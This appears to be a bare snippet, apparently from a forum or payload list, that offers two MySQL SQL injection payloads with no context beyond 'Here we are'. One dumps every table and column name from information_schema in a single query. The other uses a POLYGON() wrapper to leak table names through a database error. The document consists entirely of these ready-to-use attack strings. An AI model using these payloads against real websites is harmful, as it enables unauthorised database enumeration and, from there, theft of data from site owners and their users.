Here we are
(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)
+POLYGON((select*from(select*from(select+group_concat(table_name+separator+0x3c62723e)+from+information_schema.tables+where+table_schema=database())f)x))
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